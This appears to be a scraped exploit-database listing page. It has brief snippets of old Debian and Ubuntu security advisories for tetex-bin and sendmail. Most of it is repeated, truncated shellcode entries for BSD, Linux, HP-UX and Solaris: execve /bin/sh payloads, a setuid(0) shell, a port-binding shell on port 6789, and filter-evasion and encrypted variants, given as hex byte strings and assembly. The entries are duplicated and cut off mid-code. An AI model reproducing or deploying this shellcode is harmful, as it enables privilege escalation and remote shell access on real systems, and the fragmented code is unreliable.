[SECURITY] [DSA 599-1] New tetex-bin packages fix arbitrary code execution

-------------------------------------------------------------------------- Debian Security Advisory DSA 599-1 [email protected] http://www.debian.org/security/ Martin Schulze November 25th, 2004 http://www.debian.org/security/faq -...

CVE-2004-0833: Undefined Security Weakness

Sendmail before 8.12.3 on Debian GNU/Linux, when using sasl and sasl-bin, uses a Sendmail configuration script with a fixed username and password, which could allow remote attackers to use Sendmail as an open mail relay and send spam messages...

USN-9-1: tetex-bin vulnerabilities

Chris Evans and Marcus Meissner recently discovered several integer overflow vulnerabilities in xpdf, a viewer for PDF files. Because tetex-bin contains xpdf code, it is also affected. These vulnerabilities could be exploited by an attacker providing a specially crafted TeX, LaTeX, or PDF file...

NSFOCUS SA2004-02 : HP-UX stmkfont Local Privilege Escalation Vulnerability

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 NSFOCUS Security AdvisorySA2004-02 Topic: HP-UX stmkfont Local Privilege Escalation Vulnerability Release Date: 2004-10-20 CVE CAN ID: CAN-2004-0965 http://www.nsfocus.com/english/homepage/research/0402.htm Affected system: =================== - - HP-...

Debian DSA-207-1 : tetex-bin - arbitrary command execution

The SuSE security team discovered a vulnerability in kpathsea library libkpathsea which is used by xdvi and dvips. Both programs call the system function insecurely, which allows a remote attacker to execute arbitrary commands via cleverly crafted DVI files. If dvips is used in a print filter, th...

DSA-554-1 sendmail - pre-set password

Bulletin has no description...

linux/x86 symlink . /bin/sh 32 bytes

No description provided by source. /The shellcode calls the symlink and makes the link to the /bin/sh in the current dir. short version size = 32 bytes OS = BSD written by /rootteam/dev0id www.sysworld.net [email protected] BITS 32 jmp short callme main: pop esi xor eax,eax mov byte esi+7,al...

bsdi/x86 execve /bin/sh toupper evasion 97 bytes

Exploit for bsdi/x86 platform in category shellcode ================================================ bsdi/x86 execve /bin/sh toupper evasion 97 bytes ================================================ / BSDi shellcode jmp 0x57 pop %esi xor %ebx,%ebx add $0x8,%ebx add $0x2,%ebx mov %bl,0x26%esi xor...

linux/x86 symlink . /bin/sh 32 bytes

Exploit for linux/x86 platform in category shellcode ==================================== linux/x86 symlink . /bin/sh 32 bytes ==================================== /The shellcode calls the symlink and makes the link to the /bin/sh in the current dir. short version size = 32 bytes OS = BSD written...

bsd/x86 execve /bin/sh setuid (0) 29 bytes

No description provided by source. / BSD version FreeBSD, OpenBSD, NetBSD. [email protected] 29 bytes. -setuid0; -execve/bin/sh; / char shellcode= "\x31\xc0" // xor %eax,%eax "\x50" // push %eax "\xb0\x17" // mov $0x17,%al "\x50" // push %eax "\xcd\x80" // int $0x80 "\x50" // push %eax...

bsd/x86 - execve /bin/sh multiplatform 27 bytes

bsd/x86 execve /bin/sh multiplatform 27 bytes. Shellcode exploit for bsdx86 platform / execvesh.c by n0gada 27 bytes. / include char shellcode= "\xeb\x0d\x5f\x31\xc0\x50\x89\xe2" "\x52\x57\x54\xb0\x3b\xcd\x80\xe8" "\xee\xff\xff\xff/bin/sh"; int mainvoid int ret; printf"%d\n",strlenshellcode; ret ...

HPUX - execve /bin/sh 58 bytes

HPUX execve /bin/sh 58 bytes. Shellcode exploit for hp-ux platform / Hp-Ux execve of /bin/sh by K2 / uchar shellcode = "\xe8\x3f\x1f\xfd\x08\x21\x02\x80\x34\x02\x01\x02\x08\x41\x04\x02\x60\x40" "\x01\x62\xb4\x5a\x01\x54\x0b\x39\x02\x99\x0b\x18\x02\x98\x34\x16\x04\xbe"...

linux/x86 symlink . /bin/sh 32 bytes

linux/x86 symlink . /bin/sh 32 bytes. Shellcode exploit for linx86 platform /The shellcode calls the symlink and makes the link to the /bin/sh in the current dir. short version size = 32 bytes OS = BSD written by /rootteam/dev0id www.sysworld.net [email protected] BITS 32 jmp short callme mai...

bsdi/x86 execve /bin/sh 46 bytes

Exploit for bsdi/x86 platform in category shellcode ================================ bsdi/x86 execve /bin/sh 46 bytes ================================ / BSDi execve of /bin/sh by v9 email protected / static char exec= "\xeb\x1f\x5e\x31\xc0\x89\x46\xf5\x88\x46\xfa\x89\x46\x0c" / 14 characters. /...

netbsd/x86 execve /bin/sh 68 bytes

Exploit for netbsd/x86 platform in category shellcode ================================== netbsd/x86 execve /bin/sh 68 bytes ================================== / NetBSD execve of /bin/sh by humble of Rhino9 / char shellcode = "\xeb\x23" "\x5e" "\x8d\x1e" "\x89\x5e\x0b" "\x31\xd2" "\x89\x56\x07"...

solaris/SPARC portbind port 6789 228 bytes

Exploit for solaris/sparc platform in category shellcode ========================================== solaris/SPARC portbind port 6789 228 bytes ========================================== / Solaris shellcode - connects /bin/sh to a port Claes M. Nyberg 20020624 , / include / void mainvoid asm" !...

bsdi/x86 execve /bin/sh toupper evasion 97 bytes

No description provided by source. / BSDi shellcode jmp 0x57 pop %esi xor %ebx,%ebx add $0x8,%ebx add $0x2,%ebx mov %bl,0x26%esi xor %ebx,%ebx add $0x23,%ebx add $0x23,%ebx mov %bl,0xffffffa8%esi xor %ebx,%ebx add $0x26,%ebx add $0x30,%ebx mov %bl,0xffffffc2%esi xor %eax,%eax mov %al,0xb%esi mov...

bsd/x86 execve /bin/sh multiplatform 27 bytes

No description provided by source. / execvesh.c by n0gada 27 bytes. / include stdio.h char shellcode= "\xeb\x0d\x5f\x31\xc0\x50\x89\xe2" "\x52\x57\x54\xb0\x3b\xcd\x80\xe8" "\xee\xff\xff\xff/bin/sh"; int mainvoid int ret; printf"%d\n",strlenshellcode; ret = int &ret+2; ret = intshellcode; return 0...

bsdi/x86 execve /bin/sh 46 bytes

Exploit for bsdi/x86 platform in category shellcode ================================ bsdi/x86 execve /bin/sh 46 bytes ================================ / BSDi execve of /bin/sh by v9 email protected / static char exec= "\xeb\x1f\x5e\x31\xc0\x89\x46\xf5\x88\x46\xfa\x89\x46\x0c" / 14 characters. /...

bsd/x86 execve /bin/sh ENCRYPT* 57 bytes

No description provided by source. / BSD version FreeBSD, OpenBSD, NetBSD. [email protected] 57 bytes. -Encriptado execve/bin/sh; Para mas informacion ver http://www.shellcode.com.ar/es/proyectos.html / char shellcode= "\xeb\x1b\x5e\x31\xc0\x6a\x1a\x6a\x17\x59\x49\x5b\x8a\x04\x0e"...